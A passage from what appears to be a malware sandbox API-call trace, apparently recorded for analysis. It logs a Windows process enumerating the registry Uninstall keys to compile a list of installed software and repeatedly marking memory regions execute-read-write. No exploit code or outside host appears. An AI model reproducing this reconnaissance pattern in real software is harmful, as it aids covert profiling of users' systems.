11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nṽṽ\x01") returned 1370 [0166.398] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7e8) returned 0x0 [0166.398] RegQueryValueExW (in: hKey=0x7e8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpcbData=0x1e7df794*=0x7c) returned 0x0 [0166.398] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.399] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7ec) returned 0x0 [0166.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.403] RegQueryValueExW (in: hKey=0x7ec, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="12.0.21005", lpcbData=0x1e7df78c*=0x16) returned 0x0 [0166.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.403] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x416000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.404] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\n", cchWideChar=1445, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\n", lpUsedDefaultChar=0x0) returned 1445 [0166.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.405] RegEnumKeyA (in: hKey=0x674, dwIndex=0x2f, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 0x103 [0166.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfc44 | out: phkResult=0x1e7dfc44*=0x7f0) returned 0x0 [0166.405] RegEnumKeyA (in: hKey=0x7f0, dwIndex=0x0, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="OneDriveSetup.exe") returned 0x0 [0166.405] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04c3c, cbMultiByte=1445, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nṽ") returned 1445 [0166.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nṽ") returned 11 [0166.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321a0, cbMultiByte=69, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\OneDriveSetup.exeogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nṽ") returned 69 [0166.406] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\OneDriveSetup.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7f4) returned 0x0 [0166.406] RegQueryValueExW (in: hKey=0x7f4, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x1, lpData="Microsoft OneDrive", lpcbData=0x1e7df794*=0x26) returned 0x0 [0166.406] RegCloseKey (hKey=0x80000001) returned 0x0 [0166.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321f4, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\OneDriveSetup.exeogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nṽ") returned 14 [0166.406] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32274, cbMultiByte=69, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\OneDriveSetup.exe.exeogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nṽ") returned 69 [0166.406] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\OneDriveSetup.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7f8) returned 0x0 [0166.407] RegQueryValueExW (in: hKey=0x7f8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x1, lpData="17.3.6998.0830", lpcbData=0x1e7df78c*=0x1e) returned 0x0 [0166.407] RegCloseKey (hKey=0x80000001) returned 0x0 [0166.407] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", cchWideChar=1481, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n", lpUsedDefaultChar=0x0) returned 1481 [0166.407] RegEnumKeyA (in: hKey=0x7f0, dwIndex=0x1, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="OneDriveSetup.exe") returned 0x103 [0166.407] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd322c8, cbMultiByte=1481, lpWideCharStr=0x1e7de7a0, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMicrosoft Visual C++ 2017 Redistributable (x86) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005(12.0.21005)\r\nMicrosoft OneDrive(17.3.6998.0830)\r\n") returned 1481 [0166.410] SysReAllocStringLen (in: pbstr=0x1e7df7dc*=0x0, psz="\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n\r\n\r\n\r\nGoogle Chrome(59.0.3071.115)\r\n\r\n\r\n\r\n\r\n\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla 